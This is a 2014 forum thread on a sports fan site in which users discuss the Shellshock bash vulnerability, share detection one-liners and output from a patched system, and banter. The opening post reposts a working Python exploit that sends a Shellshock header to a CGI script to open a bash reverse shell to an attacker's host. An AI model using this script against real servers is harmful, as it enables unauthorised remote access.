1. Welcome! Please take a few seconds to create your free account to post threads, make some friends, remove a few ads while surfing and much more. ClutchFans has been bringing fans together to talk Houston Sports since 1996. Join us!

[LINUX] New 'shellshock' bash remote execution vulnerability

Discussion in 'BBS Hangout' started by SwoLy-D, Sep 26, 2014.

  1. SwoLy-D

    SwoLy-D Contributing Member

    Joined:
    Jul 20, 2001
    Messages:
    37,617
    Likes Received:
    1,448
    For those of you, like me, who work in Linux systems and who are users or admins of those machines... this will be of interest:

    bash remote execution vulnerability

    MORE at the link.

    Code:
    env X="() { :;} ; echo busted" /bin/sh -c "echo completed"
    env X="() { :;} ; echo busted" `which bash` -c "echo completed"
    Here's a reverse shell from:
    <blockquote class="twitter-tweet" lang="en"><p>That bash bug is bad ( <a href="https://t.co/60kPlziiVv">https://t.co/60kPlziiVv</a> ) Get a reverse shell on a vulnerable website <a href="http://t.co/7JDCvZVU3S">http://t.co/7JDCvZVU3S</a> by <a href="https://twitter.com/ortegaalfredo">@ortegaalfredo</a></p>&mdash; Chris Williams (@diodesign) <a href="https://twitter.com/diodesign/status/514865664499015680">September 24, 2014</a></blockquote>
    <script async src="//platform.twitter.com/widgets.js" charset="utf-8"></script>

    Code:
    #
    #CVE-2014-6271 cgi-bin reverse shell
    #
    
    import httplib,urllib,sys
    
    if (len(sys.argv)<4):
    	print "Usage: %s <host> <vulnerable CGI> <attackhost/IP>" % sys.argv[0]
    	print "Example: %s localhost /cgi-bin/test.cgi 10.0.0.1/8080" % sys.argv[0]
    	exit(0)
    
    conn = httplib.HTTPConnection(sys.argv[1])
    reverse_shell="() { ignored;};/bin/bash -i >& /dev/tcp/%s 0>&1" % sys.argv[3]
    
    headers = {"Content-type": "application/x-www-form-urlencoded",
    	"test":reverse_shell }
    conn.request("GET",sys.argv[2],headers=headers)
    res = conn.getresponse()
    print res.status, res.reason
    data = res.read()
    print data

    :( Hope your systems are all OK, sys admins.
     
  2. bobrek

    bobrek Politics belong in the D & D

    Joined:
    Sep 16, 1999
    Messages:
    36,288
    Likes Received:
    26,639
    And, the original fix for CVE-2014-6271 was incomplete. CVE-2014-7169 was issued.
     
  3. Xerobull

    Xerobull You son of a b!tch! I'm in!

    Joined:
    Jun 18, 2003
    Messages:
    33,390
    Likes Received:
    30,956
    This will be the bug that shuts up the OSx/Unix/Linux is safe from viruseses! crowd. Nothing is safe from malware.
     
  4. SwoLy-D

    SwoLy-D Contributing Member

    Joined:
    Jul 20, 2001
    Messages:
    37,617
    Likes Received:
    1,448
    Ummm... this has always been there.

    This bug isn't a virus. :eek: Technically, still safe from viruses. :cool:
     
  5. Xerobull

    Xerobull You son of a b!tch! I'm in!

    Joined:
    Jun 18, 2003
    Messages:
    33,390
    Likes Received:
    30,956
    Whatever, fanboy.
     
  6. SwoLy-D

    SwoLy-D Contributing Member

    Joined:
    Jul 20, 2001
    Messages:
    37,617
    Likes Received:
    1,448
    I'm not a fanboy. I use all. I manage all types of Web servers. I'm just not the main server admin.

    Be versatile in your skills, man. :p
     
  7. GimmeDaRock

    GimmeDaRock Contributing Member

    Joined:
    Mar 7, 1999
    Messages:
    166
    Likes Received:
    171
    [root@gateway ~]# env X="() { :;} ; echo busted" /bin/sh -c "echo completed"
    /bin/sh: warning: X: ignoring function definition attempt
    /bin/sh: error importing function definition for `X'
    completed
    [root@gateway ~]# ls -la /bin/sh
    lrwxrwxrwx 1 root root 4 Sep 26 05:35 /bin/sh -> bash
    [root@gateway ~]# env X="() { :;} ; echo busted" `which bash` -c "echo completed"
    /bin/bash: warning: X: ignoring function definition attempt
    /bin/bash: error importing function definition for `X'
    completed
     
  8. Mr. Brightside

    Mr. Brightside Contributing Member

    Joined:
    Mar 27, 2005
    Messages:
    18,950
    Likes Received:
    2,137
    Hey Swoly. I know English isn't your first language, but I have no idea what any of this means.
     
  9. SwoLy-D

    SwoLy-D Contributing Member

    Joined:
    Jul 20, 2001
    Messages:
    37,617
    Likes Received:
    1,448
    *Good for you, man. GOOD FOR YOU. :)

    *I mean that you don't have to deal with all this iSht.
     
  10. Xerobull

    Xerobull You son of a b!tch! I'm in!

    Joined:
    Jun 18, 2003
    Messages:
    33,390
    Likes Received:
    30,956
    I am.

    Be versatile in your sense of humor, hombre.
     

Share This Page

  • About ClutchFans

    Since 1996, ClutchFans has been loud and proud covering the Houston Rockets, helping set an industry standard for team fan sites. The forums have been a home for Houston sports fans as well as basketball fanatics around the globe.

  • Support ClutchFans!

    If you find that ClutchFans is a valuable resource for you, please consider becoming a Supporting Member. Supporting Members can upload photos and attachments directly to their posts, customize their user title and more. Gold Supporters see zero ads!


    Upgrade Now